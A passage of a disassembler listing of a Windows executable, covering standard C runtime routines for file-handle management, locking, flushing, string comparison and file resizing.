loc_419D5B:				; CODE XREF: sub_419D07+4Aj
					; sub_419D07+4Fj
		call	dword_41C078	; SetStdHandle


loc_419D61:				; CODE XREF: sub_419D07+3Aj
					; sub_419D07+45j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_419D81
; ---------------------------------------------------------------------------


loc_419D6B:				; CODE XREF: sub_419D07+8j
					; sub_419D07+10j ...
		call	sub_40F79E
		mov	dword ptr [eax], 9
		call	sub_40F7B1
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_419D81:				; CODE XREF: sub_419D07+62j
		pop	edi
		pop	esi
		retn
sub_419D07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D84	proc near		; CODE XREF: sub_414C65+62p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jl	short loc_419DEC
		cmp	ecx, dword_424EC8
		jnb	short loc_419DEC
		mov	esi, ecx
		and	esi, 1Fh
		imul	esi, 28h
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:424EE0h[eax*4]
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_419DEC
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_419DEC
		cmp	dword_4231A0, 1
		jnz	short loc_419DE2
		sub	ecx, ebx
		jz	short loc_419DD9
		dec	ecx
		jz	short loc_419DD4
		dec	ecx
		jnz	short loc_419DE2
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_419DDC
; ---------------------------------------------------------------------------


loc_419DD4:				; CODE XREF: sub_419D84+46j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_419DDC
; ---------------------------------------------------------------------------


loc_419DD9:				; CODE XREF: sub_419D84+43j
		push	ebx
		push	0FFFFFFF6h


loc_419DDC:				; CODE XREF: sub_419D84+4Ej
					; sub_419D84+53j
		call	dword_41C078	; SetStdHandle


loc_419DE2:				; CODE XREF: sub_419D84+3Fj
					; sub_419D84+49j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_419E01
; ---------------------------------------------------------------------------


loc_419DEC:				; CODE XREF: sub_419D84+Bj
					; sub_419D84+13j ...
		call	sub_40F79E
		mov	dword ptr [eax], 9
		call	sub_40F7B1
		mov	[eax], ebx
		or	eax, 0FFFFFFFFh


loc_419E01:				; CODE XREF: sub_419D84+66j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419D84	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E05	proc near		; CODE XREF: sub_414C65+7p
					; sub_414C65+2Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_419E25
		call	sub_40F7B1
		and	dword ptr [eax], 0
		call	sub_40F79E
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419E25:				; CODE XREF: sub_419E05+7j
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_419E4E
		cmp	eax, dword_424EC8
		jnb	short loc_419E4E
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_424EE0[ecx*4]
		add	eax, ecx
		test	byte ptr [eax+4], 1
		jnz	short loc_419E72


loc_419E4E:				; CODE XREF: sub_419E05+25j
					; sub_419E05+2Dj
		call	sub_40F7B1
		mov	[eax], esi
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419E72:				; CODE XREF: sub_419E05+47j
		mov	eax, [eax]
		pop	esi
		retn
sub_419E05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E76	proc near		; CODE XREF: sub_4149D5+7Fp
					; sub_414CF9+7Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_41FDF8
		call	__SEH_prolog4
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		sar	eax, 5
		mov	esi, edi
		and	esi, 1Fh
		imul	esi, 28h
		add	esi, dword_424EE0[eax*4]
		mov	[ebp+var_1C], 1
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jnz	short loc_419EDD
		push	0Ah
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi+8], ebx
		jnz	short loc_419ED1
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_4182CC
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_419ECE
		mov	[ebp+var_1C], ebx


loc_419ECE:				; CODE XREF: sub_419E76+53j
		inc	dword ptr [esi+8]


loc_419ED1:				; CODE XREF: sub_419E76+3Fj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_419F0D


loc_419EDD:				; CODE XREF: sub_419E76+2Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_419EFF
		mov	eax, edi
		sar	eax, 5
		and	edi, 1Fh
		imul	edi, 28h
		mov	eax, dword_424EE0[eax*4]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	dword_41C070	; RtlEnterCriticalSection


loc_419EFF:				; CODE XREF: sub_419E76+6Aj
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_419E76	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F08	proc near		; DATA XREF: .vty:0041FE10o
		xor	ebx, ebx
		mov	edi, [ebp+8]
sub_419F08	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F0D	proc near		; CODE XREF: sub_419E76+62p
		push	0Ah
		call	sub_416CCE
		pop	ecx
		retn
sub_419F0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_414AA7+3p
					; sub_414DBC+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_424EE0[ecx*4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	dword_41C06C	; RtlLeaveCriticalSection
		retn
sub_419F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F38	proc near		; CODE XREF: sub_418D2B:loc_418F21p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 0041A014 SIZE 000000BA BYTES

		push	18h
		push	offset dword_41FE18
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	edi, edi
		mov	[ebp+var_24], edi
		push	0Bh
		call	sub_416CE3
		pop	ecx
		test	eax, eax
		jnz	short loc_419F61
		or	eax, 0FFFFFFFFh
		jmp	loc_41A0C8
; ---------------------------------------------------------------------------


loc_419F61:				; CODE XREF: sub_419F38+1Fj
		push	0Bh
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi


loc_419F6C:				; CODE XREF: sub_419F38+109j
		mov	[ebp+var_28], edi
		cmp	edi, 40h
		jge	loc_41A0B9
		mov	esi, dword_424EE0[edi*4]
		test	esi, esi
		jz	loc_41A046


loc_419F87:				; CODE XREF: sub_419F38+CBj
		mov	[ebp+var_20], esi
		mov	eax, dword_424EE0[edi*4]
		add	eax, 500h
		cmp	esi, eax
		jnb	loc_41A03A
		test	byte ptr [esi+4], 1
		jnz	short loc_41A000
		cmp	dword ptr [esi+8], 0
		jnz	short loc_419FE3
		push	0Ah
		call	sub_416DA6
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_419FDA
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_4182CC
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_419FD7
		mov	[ebp+var_24], ebx
		jmp	short loc_419FDA
; ---------------------------------------------------------------------------


loc_419FD7:				; CODE XREF: sub_419F38+98j
		inc	dword ptr [esi+8]


loc_419FDA:				; CODE XREF: sub_419F38+84j
					; sub_419F38+9Dj
		and	[ebp+ms_exc.disabled], 0
		call	sub_41A00B


loc_419FE3:				; CODE XREF: sub_419F38+70j
		cmp	[ebp+var_24], 0
		jnz	short loc_41A000
		lea	ebx, [esi+0Ch]
		push	ebx
		call	dword_41C070	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_41A014
		push	ebx
		call	dword_41C06C	; RtlLeaveCriticalSection


loc_41A000:				; CODE XREF: sub_419F38+6Aj
					; sub_419F38+AFj ...
		add	esi, 28h
		jmp	short loc_419F87
sub_419F38	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A005	proc near		; DATA XREF: .vty:0041FE3Co
		mov	edi, [ebp-28h]
		mov	esi, [ebp-20h]
sub_41A005	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A00B	proc near		; CODE XREF: sub_419F38+A6p
		push	0Ah
		call	sub_416CCE
		pop	ecx
		retn
sub_41A00B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419F38


loc_41A014:				; CODE XREF: sub_419F38+BFj
		cmp	[ebp+var_24], 0
		jnz	short loc_41A000
		mov	byte ptr [esi+4], 1
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, dword_424EE0[edi*4]
		cdq
		push	28h
		pop	ecx
		idiv	ecx
		mov	ecx, edi
		shl	ecx, 5
		add	eax, ecx
		mov	[ebp+var_1C], eax


loc_41A03A:				; CODE XREF: sub_419F38+60j
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_41A0B9
		inc	edi
		jmp	loc_419F6C
; ---------------------------------------------------------------------------


loc_41A046:				; CODE XREF: sub_419F38+49j
		push	28h
		push	20h
		call	sub_412363
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_41A0B9
		lea	ecx, ds:424EE0h[edi*4]
		mov	[ecx], eax
		add	dword_424EC8, 20h


loc_41A068:				; CODE XREF: sub_419F38+151j
		mov	edx, [ecx]
		add	edx, 500h
		cmp	eax, edx
		jnb	short loc_41A08B
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		add	eax, 28h
		mov	[ebp+var_20], eax
		jmp	short loc_41A068
; ---------------------------------------------------------------------------


loc_41A08B:				; CODE XREF: sub_419F38+13Aj
		shl	edi, 5
		mov	[ebp+var_1C], edi
		mov	eax, edi
		sar	eax, 5
		mov	ecx, edi
		and	ecx, 1Fh
		imul	ecx, 28h
		mov	eax, dword_424EE0[eax*4]
		mov	byte ptr [eax+ecx+4], 1
		push	edi
		call	sub_419E76
		pop	ecx
		test	eax, eax
		jnz	short loc_41A0B9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41A0B9:				; CODE XREF: sub_419F38+3Aj
					; sub_419F38+106j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41A0CE
		mov	eax, [ebp+var_1C]


loc_41A0C8:				; CODE XREF: sub_419F38+24j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_419F38

; =============== S U B	R O U T	I N E =======================================



sub_41A0CE	proc near		; CODE XREF: sub_419F38+188p
					; DATA XREF: .vty:0041FE30o
		push	0Bh
		call	sub_416CCE
		pop	ecx
		retn
sub_41A0CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0D7	proc near		; CODE XREF: sub_414B40+31p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_41FE40
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41A0FE
		call	sub_40F79E
		mov	dword ptr [eax], 9


loc_41A0F6:				; CODE XREF: sub_41A0D7+4Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41A1A8
; ---------------------------------------------------------------------------


loc_41A0FE:				; CODE XREF: sub_41A0D7+12j
		xor	ebx, ebx
		cmp	eax, ebx
		jl	short loc_41A10C
		cmp	eax, dword_424EC8
		jb	short loc_41A126


loc_41A10C:				; CODE XREF: sub_41A0D7+2Bj
					; sub_41A0D7+6Dj
		call	sub_40F79E
		mov	dword ptr [eax], 9
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DCD8
		add	esp, 14h
		jmp	short loc_41A0F6
; ---------------------------------------------------------------------------


loc_41A126:				; CODE XREF: sub_41A0D7+33j
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:424EE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [edi]
		movzx	ecx, byte ptr [esi+ecx+4]
		and	ecx, 1
		jz	short loc_41A10C
		push	eax
		call	sub_419E76
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		mov	eax, [edi]
		test	byte ptr [esi+eax+4], 1
		jz	short loc_41A18A
		push	[ebp+arg_0]
		call	sub_419E05
		pop	ecx
		push	eax
		call	dword_41C0F4	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41A178
		call	dword_41C0A4	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_41A17B
; ---------------------------------------------------------------------------


loc_41A178:				; CODE XREF: sub_41A0D7+94j
		mov	[ebp+var_1C], ebx


loc_41A17B:				; CODE XREF: sub_41A0D7+9Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_41A199
		call	sub_40F7B1
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx


loc_41A18A:				; CODE XREF: sub_41A0D7+80j
		call	sub_40F79E
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41A199:				; CODE XREF: sub_41A0D7+A7j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41A1AE
		mov	eax, [ebp+var_1C]


loc_41A1A8:				; CODE XREF: sub_41A0D7+22j
		call	__SEH_epilog4
		retn
sub_41A0D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1AE	proc near		; CODE XREF: sub_41A0D7+C9p
					; DATA XREF: .vty:0041FE58o
		push	dword ptr [ebp+8]
		call	sub_419F16
		pop	ecx
		retn
sub_41A1AE	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_41A1D9
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41A1D9:				; CODE XREF: .vty:0041A1CEj
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1F4	proc near		; CODE XREF: sub_41A245+Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		movzx	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	dl, [ebp+arg_C]
		test	[ecx+eax+1Dh], dl
		jnz	short loc_41A233
		cmp	[ebp+arg_8], 0
		jz	short loc_41A22D
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [ebp+arg_8]
		jmp	short loc_41A22F
; ---------------------------------------------------------------------------


loc_41A22D:				; CODE XREF: sub_41A1F4+25j
		xor	eax, eax


loc_41A22F:				; CODE XREF: sub_41A1F4+37j
		test	eax, eax
		jz	short loc_41A236


loc_41A233:				; CODE XREF: sub_41A1F4+1Fj
		xor	eax, eax
		inc	eax


loc_41A236:				; CODE XREF: sub_41A1F4+3Dj
		cmp	[ebp+var_4], 0
		jz	short locret_41A243
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_41A243:				; CODE XREF: sub_41A1F4+46j
		leave
		retn
sub_41A1F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A245	proc near		; CODE XREF: sub_41547E+3Fp
					; sub_4155B6+53p ...

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		push	0
		call	sub_41A1F4
		add	esp, 10h
		retn
sub_41A245	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A258	proc near		; CODE XREF: sub_415D0D+56p
					; sub_416288+59p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		inc	eax
		cmp	[esp+arg_0], 0
		jnz	short locret_41A264
		xor	eax, eax

locret_41A264:				; CODE XREF: sub_41A258+8j
		retn
sub_41A258	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A265	proc near		; DATA XREF: .vty:off_423DF8o
					; .vty:00423DFCo ...
		push	2
		call	sub_412499
		pop	ecx
		retn
sub_41A265	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A26E	proc near		; CODE XREF: sub_41A2A3+86p
					; sub_41A376+39j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41A278:				; CODE XREF: sub_41A26E+2Ej
		movzx	eax, byte ptr [esi]
		lea	ecx, [eax-41h]
		inc	esi
		cmp	ecx, 19h
		ja	short loc_41A287
		add	eax, 20h


loc_41A287:				; CODE XREF: sub_41A26E+14j
		movzx	ecx, byte ptr [edx]
		lea	edi, [ecx-41h]
		inc	edx
		cmp	edi, 19h
		ja	short loc_41A296
		add	ecx, 20h


loc_41A296:				; CODE XREF: sub_41A26E+23j
		test	eax, eax
		jz	short loc_41A29E
		cmp	eax, ecx
		jz	short loc_41A278


loc_41A29E:				; CODE XREF: sub_41A26E+2Aj
		pop	edi
		sub	eax, ecx
		pop	esi
		retn
sub_41A26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2A3	proc near		; CODE XREF: sub_419453+8Fp
					; sub_41A376+45p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_41A2EA
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_41A2E0
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41A2E0:				; CODE XREF: sub_41A2A3+34j
		mov	eax, 7FFFFFFFh
		jmp	loc_41A373
; ---------------------------------------------------------------------------


loc_41A2EA:				; CODE XREF: sub_41A2A3+17j
		push	edi
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jnz	short loc_41A31D
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_41A316
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41A316:				; CODE XREF: sub_41A2A3+6Aj
		mov	eax, 7FFFFFFFh
		jmp	short loc_41A372
; ---------------------------------------------------------------------------


loc_41A31D:				; CODE XREF: sub_41A2A3+4Dj
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_41A332
		push	edi
		push	[ebp+arg_0]
		call	sub_41A26E
		pop	ecx
		pop	ecx
		jmp	short loc_41A366
; ---------------------------------------------------------------------------


loc_41A332:				; CODE XREF: sub_41A2A3+80j
		push	esi


loc_41A333:				; CODE XREF: sub_41A2A3+BCj
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40F864
		inc	[ebp+arg_0]
		mov	esi, eax
		movzx	eax, byte ptr [edi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40F864
		add	esp, 10h
		inc	edi
		cmp	esi, ebx
		jz	short loc_41A361
		cmp	esi, eax
		jz	short loc_41A333


loc_41A361:				; CODE XREF: sub_41A2A3+B8j
		sub	esi, eax
		mov	eax, esi
		pop	esi


loc_41A366:				; CODE XREF: sub_41A2A3+8Dj
		cmp	[ebp+var_4], bl
		jz	short loc_41A372
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_41A372:				; CODE XREF: sub_41A2A3+78j
					; sub_41A2A3+C6j
		pop	edi


loc_41A373:				; CODE XREF: sub_41A2A3+42j
		pop	ebx
		leave
		retn
sub_41A2A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A376	proc near		; CODE XREF: sub_4047AC+FDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_424424, esi
		jnz	short loc_41A3B4
		cmp	[ebp+arg_0], esi
		jnz	short loc_41A3A8


loc_41A389:				; CODE XREF: sub_41A376+35j
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		mov	eax, 7FFFFFFFh
		jmp	short loc_41A3C3
; ---------------------------------------------------------------------------


loc_41A3A8:				; CODE XREF: sub_41A376+11j
		cmp	[ebp+arg_4], esi
		jz	short loc_41A389
		pop	esi
		pop	ebp
		jmp	sub_41A26E
; ---------------------------------------------------------------------------


loc_41A3B4:				; CODE XREF: sub_41A376+Cj
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A2A3
		add	esp, 0Ch


loc_41A3C3:				; CODE XREF: sub_41A376+30j
		pop	esi
		pop	ebp
		retn
sub_41A376	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418C60


loc_41A3D0:				; CODE XREF: sub_418C60+11j
					; .vty:00418C87j
		push	ecx
		lea	ecx, [esp+4]
		sub	ecx, eax
		sbb	eax, eax
		not	eax
		and	ecx, eax
		mov	eax, esp
		and	eax, 0FFFFF000h


loc_41A3E4:				; CODE XREF: sub_418C60+1799j
		cmp	ecx, eax
		jb	short loc_41A3F2
		mov	eax, ecx
		pop	ecx
		xchg	eax, esp
		mov	eax, [eax]
		mov	[esp+0], eax
		retn
; ---------------------------------------------------------------------------


loc_41A3F2:				; CODE XREF: sub_418C60+1786j
		sub	eax, 1000h
		test	[eax], eax
		jmp	short loc_41A3E4
; END OF FUNCTION CHUNK	FOR sub_418C60

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3FB	proc near		; CODE XREF: sub_418D2B+36Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	1
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_4178D6
		mov	[ebp+var_18], eax
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], edx
		jz	short loc_41A481
		push	2
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4178D6
		mov	ecx, eax
		and	ecx, edx
		add	esp, 10h
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41A481
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		sub	esi, eax
		sbb	edi, edx
		js	loc_41A516
		jg	short loc_41A45A
		cmp	esi, ebx
		jbe	loc_41A516


loc_41A45A:				; CODE XREF: sub_41A3FB+55j
		mov	ebx, 1000h
		push	ebx
		push	8
		call	dword_41C134	; GetProcessHeap
		push	eax
		call	dword_41C130	; RtlAllocateHeap
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_41A48D
		call	sub_40F79E
		mov	dword ptr [eax], 0Ch


loc_41A481:				; CODE XREF: sub_41A3FB+2Bj
					; sub_41A3FB+43j ...
		call	sub_40F79E
		mov	eax, [eax]


loc_41A488:				; CODE XREF: sub_41A3FB+1AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A48D:				; CODE XREF: sub_41A3FB+79j
		push	8000h
		push	[ebp+arg_0]
		call	sub_41ABC3
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax


loc_41A49F:				; CODE XREF: sub_41A3FB+CFj
					; sub_41A3FB+D3j
		test	edi, edi
		jl	short loc_41A4AD
		jg	short loc_41A4A9
		cmp	esi, ebx
		jb	short loc_41A4AD


loc_41A4A9:				; CODE XREF: sub_41A3FB+A8j
		mov	eax, ebx
		jmp	short loc_41A4AF
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3FB+A6j
					; sub_41A3FB+ACj
		mov	eax, esi


loc_41A4AF:				; CODE XREF: sub_41A3FB+B0j
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41440F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A4F9
		cdq
		sub	esi, eax
		sbb	edi, edx
		js	short loc_41A4D0
		jg	short loc_41A49F
		test	esi, esi
		ja	short loc_41A49F


loc_41A4D0:				; CODE XREF: sub_41A3FB+CDj
		mov	esi, [ebp+var_10]


loc_41A4D3:				; CODE XREF: sub_41A3FB+119j
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41ABC3
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	0
		call	dword_41C134	; GetProcessHeap
		push	eax
		call	dword_41C12C	; RtlFreeHeap
		xor	ebx, ebx
		jmp	loc_41A57F
; ---------------------------------------------------------------------------


loc_41A4F9:				; CODE XREF: sub_41A3FB+C6j
		call	sub_40F7B1
		cmp	dword ptr [eax], 5
		jnz	short loc_41A50E
		call	sub_40F79E
		mov	dword ptr [eax], 0Dh


loc_41A50E:				; CODE XREF: sub_41A3FB+106j
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41A4D3
; ---------------------------------------------------------------------------


loc_41A516:				; CODE XREF: sub_41A3FB+4Fj
					; sub_41A3FB+59j
		cmp	edi, ebx
		jg	short loc_41A58B
		jl	short loc_41A520
		cmp	esi, ebx
		jnb	short loc_41A58B


loc_41A520:				; CODE XREF: sub_41A3FB+11Fj
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4178D6
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A481
		push	[ebp+arg_0]
		call	sub_419E05
		pop	ecx
		push	eax
		call	dword_41C0F8	; SetEndOfFile
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		cdq
		mov	[ebp+var_10], eax
		and	eax, edx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], edx
		jnz	short loc_41A58B
		call	sub_40F79E
		mov	dword ptr [eax], 0Dh
		call	sub_40F7B1
		mov	esi, eax
		call	dword_41C0A4	; RtlGetLastWin32Error
		mov	[esi], eax
		mov	esi, [ebp+var_10]


loc_41A57F:				; CODE XREF: sub_41A3FB+F9j
		and	esi, [ebp+var_C]
		cmp	esi, 0FFFFFFFFh
		jz	loc_41A481


loc_41A58B:				; CODE XREF: sub_41A3FB+11Dj
					; sub_41A3FB+123j ...
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	sub_4178D6
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A481
		xor	eax, eax
		jmp	loc_41A488
sub_41A3FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5AF	proc near		; CODE XREF: sub_418D2B+355p
					; sub_418D2B+4B8p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
